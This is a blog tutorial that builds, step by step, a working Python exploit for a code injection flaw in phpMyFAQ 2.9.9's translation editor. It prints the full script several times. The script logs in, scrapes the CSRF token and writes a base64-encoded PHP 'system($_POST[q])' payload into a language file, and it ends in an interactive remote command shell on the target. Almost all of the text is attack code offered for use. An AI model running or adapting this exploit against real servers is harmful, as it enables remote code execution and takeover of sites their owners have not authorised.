You can download the application here

This is the third article about code injection in PHPMYFAQ 2.9.9, the first is about the video, the second is about manual exploitation. And this article I will discuss about how to write the exploit (in python)

In this vulnerability, the vulnerable code lies in file admin/ajax.trans.php

screenshot-from-2017-11-02-10-58-46.png

screenshot-from-2017-11-02-11-05-26-e1509595591279.png

More detail of vulnerable code in section save_translated_lang

exploit-3
To edit a value (in translation), user will have to make two request:

  1. save_page_buffer, to save all edited value to session
  2. save_translated_lang, to write the values in session to files

Both requests need csrf token.

exploit-1

 

Now, come to the exploit part. To make the exploit, we need this steps :

  1. login to application
  2. get the cookie
  3. check if the user has right to edit translation
  4. get the csrf token
  5. save injected value to buffer
  6. write injected value to file
  7. make an evil request

 

Before we discuss the exploit, there is one thing you need to know. if you are sure that you provide correct user/password, but you cant login, please check table faquser on the database. Make sure that value of the column success is “1

exploits-7

First part : Login function

#! /usr/bin/python
import sys, requests, argparse, readline
	
def main(argv):
	global url, user, password
	parser = argparse.ArgumentParser(description='PHPMYFAQ 2.9.9 Code Injection exploitation tool. author : tomplixsee@yahoo.co.id')
	parser.add_argument('-u','--url', help='target url',required=True)
	parser.add_argument('-p','--password', help='password',required=True)
	parser.add_argument('-s','--user', help='user',required=True)
	args = parser.parse_args()
	
	url = args.url
	user = args.user
	password = args.password

if __name__ == "__main__":
	main(sys.argv[1:])

def login():
	global url, user, password,cookie
	print "\033[1;33m>>>>>> logging in\033[1;m"
	data = {"faqusername":user,"faqpassword":password}
	headers = {
	}
	r = requests.post(url+"/admin/index.php", headers=headers, data=data)
	if "dashboard" in r.text:
		print "\033[1;32m>>>>>> login sucess\033[1;m"
		cookie = r.cookies["PHPSESSID"]
		print "login is success, your cookie is :"+cookie
	else:
		print "login failed"
		sys.exit()

login()

The above code, there are 2 functions, function main() to catch arguments, and function login() to login into application and catch the cookie if login is successful.

We need to provide arguments url of the application, user, and password of the user. Function login then make a post request to url/admin/index.php, with post data faqusername and faqpassword.

If login issuccessful, we will find string dashboard on the response.

exploits-1.png

The user is user and password is user. When I provide wrong password, the response is login failed, and when user/password is correct, the response is login is success …..

 

Second part : check if the user has right to edit translation

def check():
	global url,cookie, csrf
	print "\033[1;33m>>>>>> check user auth\033[1;m"
	headers = {
		'Accept': '*/*',
		"Cookie":"PHPSESSID="+cookie
	}
	r = requests.get(url+"/admin/index.php?action=transedit&translang=id", headers=headers)
	if ("You are not authorized." not in r.text) or ("ajaxaction=save_translated_lang&csrf" in r.text):
		print "\033[1;32m>>>>>> authorized\033[1;m"
	else:
		print "not authorized"
                sys.exit()
	#get csrf token
	str_csrf = r.text.split("action=ajax&ajax=trans&ajaxaction=save_translated_lang&csrf=" )

	csrf = str_csrf[1][0:40]
	savebuffer()
	sys.exit()

To executed this function check(), we must call the function. Edit the first part of code, add code check() after line print “login is success, your cookie is :”+cookie

Our code is now become

#! /usr/bin/python
import sys, requests, argparse, readline
	
def main(argv):
	global url, user, password
	parser = argparse.ArgumentParser(description='PHPMYFAQ 2.9.9 Code Injection exploitation tool. author : tomplixsee@yahoo.co.id')
	parser.add_argument('-u','--url', help='target url',required=True)
	parser.add_argument('-p','--password', help='password',required=True)
	parser.add_argument('-s','--user', help='user',required=True)
	args = parser.parse_args()
	
	url = args.url
	user = args.user
	password = args.password

if __name__ == "__main__":
	main(sys.argv[1:])

def login():
	global url, user, password,cookie
	print "\033[1;33m>>>>>> logging in\033[1;m"
	data = {"faqusername":user,"faqpassword":password}
	headers = {
	}
	r = requests.post(url+"/admin/index.php", headers=headers, data=data)
	if "dashboard" in r.text:
		print "\033[1;32m>>>>>> login sucess\033[1;m"
		cookie = r.cookies["PHPSESSID"]
		print "login is success, your cookie is :"+cookie
		check()
	else:
		print "login failed"
		sys.exit()
		
def check():
	global url,cookie, csrf
	print "\033[1;33m>>>>>> check user auth\033[1;m"
	headers = {
		'Accept': '*/*',
		"Cookie":"PHPSESSID="+cookie
	}
	r = requests.get(url+"/admin/index.php?action=transedit&translang=id", headers=headers)
	if ("You are not authorized." not in r.text) or ("ajaxaction=save_translated_lang&csrf" in r.text):
		print "\033[1;32m>>>>>> authorized\033[1;m"
	else:
		print "not authorized"
		sys.exit()
	#get csrf token
	str_csrf = r.text.split("action=ajax&ajax=trans&ajaxaction=save_translated_lang&csrf=" )

	csrf = str_csrf[1][0:40]
	print "user has right to edit translation"

login()

In this second part code, we send variable cookie and url to the function check(). The function then make a post request to url/admin/index.php?action=transedit&translang=id with value of header cookie we got from function login()

If we get string You are not authorized it means the user didnt has right to edit translation, else the user has.

If it is authorized, then get the csrf token by search and split string action=ajax&ajax=trans&ajaxaction=save_translated_lang&csrf=. The csrf token is first 40 chars of second split result.

Execute again the exploit

exploits-3

Third part : save injected value to buffer

def savebuffer():
	global url,cookie, csrf
	print "\033[1;33m>>>>>> trying to fill the buffer\033[1;m"
	headers = {
		'Accept': '*/*',
		"Cookie":"PHPSESSID="+cookie
	}
	data = {"LANG_CONF[main.metaDescription]":'eval(base64_decode(\"c3lzdGVtKCRfUE9TVFtxXSk7ZGllOw==\"))'
	}
	r = requests.post(url+"/admin/index.php?action=ajax&ajax=trans&ajaxaction=save_page_buffer&csrf="+csrf, headers=headers, data=data)
	if r.text=="1":
		print "\033[1;32m>>>>>> success\033[1;m"
		inject()
	else:
		sys.exit()

The next step is insert php code into buffer.

Edit our second pard code, add savebuffer() after line print “user has right to edit translation”

Our code now become

#! /usr/bin/python
import sys, requests, argparse, readline
	
def main(argv):
	global url, user, password
	parser = argparse.ArgumentParser(description='PHPMYFAQ 2.9.9 Code Injection exploitation tool. author : tomplixsee@yahoo.co.id')
	parser.add_argument('-u','--url', help='target url',required=True)
	parser.add_argument('-p','--password', help='password',required=True)
	parser.add_argument('-s','--user', help='user',required=True)
	args = parser.parse_args()
	
	url = args.url
	user = args.user
	password = args.password

if __name__ == "__main__":
	main(sys.argv[1:])

def login():
	global url, user, password,cookie
	print "\033[1;33m>>>>>> logging in\033[1;m"
	data = {"faqusername":user,"faqpassword":password}
	headers = {
	}
	r = requests.post(url+"/admin/index.php", headers=headers, data=data)
	if "dashboard" in r.text:
		print "\033[1;32m>>>>>> login sucess\033[1;m"
		cookie = r.cookies["PHPSESSID"]
		print "login is success, your cookie is :"+cookie
		check()
	else:
		print "login failed"
		sys.exit()
		
def check():
	global url,cookie, csrf
	print "\033[1;33m>>>>>> check user auth\033[1;m"
	headers = {
		'Accept': '*/*',
		"Cookie":"PHPSESSID="+cookie
	}
	r = requests.get(url+"/admin/index.php?action=transedit&translang=id", headers=headers)
	if ("You are not authorized." not in r.text) or ("ajaxaction=save_translated_lang&csrf" in r.text):
		print "\033[1;32m>>>>>> authorized\033[1;m"
	else:
		print "not authorized"
		sys.exit()
	#get csrf token
	str_csrf = r.text.split("action=ajax&ajax=trans&ajaxaction=save_translated_lang&csrf=" )
	csrf = str_csrf[1][0:40]
	print "user has right to edit translation"
	savebuffer()
	
def savebuffer():
	global url,cookie, csrf
	print "\033[1;33m>>>>>> trying to fill the buffer\033[1;m"
	headers = {
		'Accept': '*/*',
		"Cookie":"PHPSESSID="+cookie
	}
	data = {
		"LANG_CONF[main.metaDescription]":'eval(base64_decode(\"c3lzdGVtKCRfUE9TVFtxXSk7ZGllOw==\"))'
	}
	r = requests.post(url+"/admin/index.php?action=ajax&ajax=trans&ajaxaction=save_page_buffer&csrf="+csrf, headers=headers, data=data)
	if r.text=="1":
		print "\033[1;32m>>>>>> success\033[1;m"
		print "save buffer oke"
	else:
		sys.exit()

login()

To save value to buffer, the exploit make a post request to url/admin/index.php?action=ajax&ajax=trans&ajaxaction=save_page_buffer&csrf=csrf The csrf variable we get from function check().

And send post variable LANG_CONF[main.metaDescription] and the value is eval(base64_decode(\”c3lzdGVtKCRfUE9TVFtxXSk7ZGllOw==\”)) This is base 64 encode of string system($_POST[q]); if(isset($_POST[mati]))die;

If the response is “1” then save buffer is success

exploits-4.png

 

Fourth part : write injected value to file

def write2file():
	global url,cookie, csrf
	print "\033[1;33m>>>>>> write payload to server\033[1;m"
	headers = {
		'Accept': '*/*',
		"Cookie":"PHPSESSID="+cookie
	}
	data = {}
	r = requests.post(url+"/admin/index.php?action=ajax&ajax=trans&ajaxaction=save_translated_lang&csrf="+csrf, headers=headers, data=data)
	if r.text!="":
		print "\033[1;32m>>>>>> success\033[1;m"
		print "\033[1;32m>>>>>> enjoy your shell\033[1;m"
		shell('')
	else:
		sys.exit()

The next step is write buffer to file. Edit our third code, add write2file() after line print “save buffer oke” . So, our code now become

#! /usr/bin/python
import sys, requests, argparse, readline
	
def main(argv):
	global url, user, password
	parser = argparse.ArgumentParser(description='PHPMYFAQ 2.9.9 Code Injection exploitation tool. author : tomplixsee@yahoo.co.id')
	parser.add_argument('-u','--url', help='target url',required=True)
	parser.add_argument('-p','--password', help='password',required=True)
	parser.add_argument('-s','--user', help='user',required=True)
	args = parser.parse_args()
	
	url = args.url
	user = args.user
	password = args.password

if __name__ == "__main__":
	main(sys.argv[1:])

def login():
	global url, user, password,cookie
	print "\033[1;33m>>>>>> logging in\033[1;m"
	data = {"faqusername":user,"faqpassword":password}
	headers = {
	}
	r = requests.post(url+"/admin/index.php", headers=headers, data=data)
	if "dashboard" in r.text:
		print "\033[1;32m>>>>>> login sucess\033[1;m"
		cookie = r.cookies["PHPSESSID"]
		print "login is success, your cookie is :"+cookie
		check()
	else:
		print "login failed"
		sys.exit()
		
def check():
	global url,cookie, csrf
	print "\033[1;33m>>>>>> check user auth\033[1;m"
	headers = {
		'Accept': '*/*',
		"Cookie":"PHPSESSID="+cookie
	}
	r = requests.get(url+"/admin/index.php?action=transedit&translang=id", headers=headers)
	if ("You are not authorized." not in r.text) or ("ajaxaction=save_translated_lang&csrf" in r.text):
		print "\033[1;32m>>>>>> authorized\033[1;m"
	else:
		print "not authorized"
		sys.exit()
	#get csrf token
	str_csrf = r.text.split("action=ajax&ajax=trans&ajaxaction=save_translated_lang&csrf=" )
	csrf = str_csrf[1][0:40]
	print "user has right to edit translation"
	savebuffer()
	
def savebuffer():
	global url,cookie, csrf
	print "\033[1;33m>>>>>> trying to fill the buffer\033[1;m"
	headers = {
		'Accept': '*/*',
		"Cookie":"PHPSESSID="+cookie
	}
	data = {
		"LANG_CONF[main.metaDescription]":'eval(base64_decode(\"c3lzdGVtKCRfUE9TVFtxXSk7ZGllOw==\"))'
	}
	r = requests.post(url+"/admin/index.php?action=ajax&ajax=trans&ajaxaction=save_page_buffer&csrf="+csrf, headers=headers, data=data)
	if r.text=="1":
		print "\033[1;32m>>>>>> success\033[1;m"
		print "save buffer oke"
		write2file()
	else:
		sys.exit()

def write2file():
	global url,cookie, csrf
	print "\033[1;33m>>>>>> write payload to server\033[1;m"
	headers = {
		'Accept': '*/*',
		"Cookie":"PHPSESSID="+cookie
	}
	data = {}
	r = requests.post(url+"/admin/index.php?action=ajax&ajax=trans&ajaxaction=save_translated_lang&csrf="+csrf, headers=headers, data=data)
	if r.text!="":
		print "\033[1;32m>>>>>> success\033[1;m"
		print "\033[1;32m>>>>>> enjoy your shell\033[1;m"
		print "write to file oke"
	else:
		sys.exit()
		
login()

To save value to buffer, the exploit makes a post request to url/admin/index.php?action=ajax&ajax=trans&ajaxaction=save_translated_lang&csrf=csrf

If response is blank, then it failed, else succeed

exploits-5.png

 

Fifth part : make evil requests

def exploit(command):
	global url,cookie
	command = raw_input('\033[1;31mshell > \033[1;m') 
	if command == "exit":
		print "goodbye"
		sys.exit()
		
	headers = {
		'Accept': '*/*',
		"Cookie":"PHPSESSID="+cookie
	}
	data = {"q":command,
	"mati":"mati",
	"language":"id"
	}
	r = requests.post(url+"/admin/index.php", headers=headers, data=data)
	print url+"/admin/index.php"
	print r.text
	exploit('')

Now, we have reach last part of the exploit. It is time to make some request containing evil command.  Edit our fourth code, add exploit(”) after line print “write to file oke” . So, our final code now become

#! /usr/bin/python
import sys, requests, argparse, readline
	
def main(argv):
	global url, user, password
	parser = argparse.ArgumentParser(description='PHPMYFAQ 2.9.9 Code Injection exploitation tool. author : tomplixsee@yahoo.co.id')
	parser.add_argument('-u','--url', help='target url',required=True)
	parser.add_argument('-p','--password', help='password',required=True)
	parser.add_argument('-s','--user', help='user',required=True)
	args = parser.parse_args()
	
	url = args.url
	user = args.user
	password = args.password

if __name__ == "__main__":
	main(sys.argv[1:])

def login():
	global url, user, password,cookie
	print "\033[1;33m>>>>>> logging in\033[1;m"
	data = {"faqusername":user,"faqpassword":password}
	headers = {
	}
	r = requests.post(url+"/admin/index.php", headers=headers, data=data)
	if "dashboard" in r.text:
		print "\033[1;32m>>>>>> login sucess\033[1;m"
		cookie = r.cookies["PHPSESSID"]
		print "login is success, your cookie is :"+cookie
		check()
	else:
		print "login failed"
		sys.exit()
		
def check():
	global url,cookie, csrf
	print "\033[1;33m>>>>>> check user auth\033[1;m"
	headers = {
		'Accept': '*/*',
		"Cookie":"PHPSESSID="+cookie
	}
	r = requests.get(url+"/admin/index.php?action=transedit&translang=id", headers=headers)
	if ("You are not authorized." not in r.text) or ("ajaxaction=save_translated_lang&csrf" in r.text):
		print "\033[1;32m>>>>>> authorized\033[1;m"
	else:
		print "not authorized"
		sys.exit()
	#get csrf token
	str_csrf = r.text.split("action=ajax&ajax=trans&ajaxaction=save_translated_lang&csrf=" )
	csrf = str_csrf[1][0:40]
	print "user has right to edit translation"
	savebuffer()
	
def savebuffer():
	global url,cookie, csrf
	print "\033[1;33m>>>>>> trying to fill the buffer\033[1;m"
	headers = {
		'Accept': '*/*',
		"Cookie":"PHPSESSID="+cookie
	}
	data = {
		"LANG_CONF[main.metaDescription]":'eval(base64_decode(\"c3lzdGVtKCRfUE9TVFtxXSk7IGlmKGlzc2V0KCRfUE9TVFttYXRpXSkpZGllOw==\"))'
	}
	r = requests.post(url+"/admin/index.php?action=ajax&ajax=trans&ajaxaction=save_page_buffer&csrf="+csrf, headers=headers, data=data)
	if r.text=="1":
		print "\033[1;32m>>>>>> success\033[1;m"
		print "save buffer oke"
		write2file()
	else:
		sys.exit()

def write2file():
	global url,cookie, csrf
	print "\033[1;33m>>>>>> write payload to server\033[1;m"
	headers = {
		'Accept': '*/*',
		"Cookie":"PHPSESSID="+cookie
	}
	data = {}
	r = requests.post(url+"/admin/index.php?action=ajax&ajax=trans&ajaxaction=save_translated_lang&csrf="+csrf, headers=headers, data=data)
	if r.text!="":
		print "\033[1;32m>>>>>> success\033[1;m"
		print "\033[1;32m>>>>>> enjoy your shell\033[1;m"
		print "write to file oke"
		exploit('')
	else:
		sys.exit()

def exploit(command):
	global url,cookie
	command = raw_input('\033[1;31mshell > \033[1;m') 
	if command == "exit":
		print "goodbye"
		sys.exit()
		
	headers = {
		'Accept': '*/*',
		"Cookie":"PHPSESSID="+cookie
	}
	data = {"q":command,
	"mati":"mati",
	"language":"id"
	}
	r = requests.post(url+"/admin/index.php", headers=headers, data=data)
	print r.text
	exploit('')
		
login()

The function exploit() makes a post request to url/admin/index.php with post parameter q (this is your shell command), language (we change the setting language to indonesia, because we inject our php code into language_id.php), and mati (to make php script die)

exploits-6

If we provide command exit, the exploit will exit.

Congratulations, our exploit works

 

Advertisements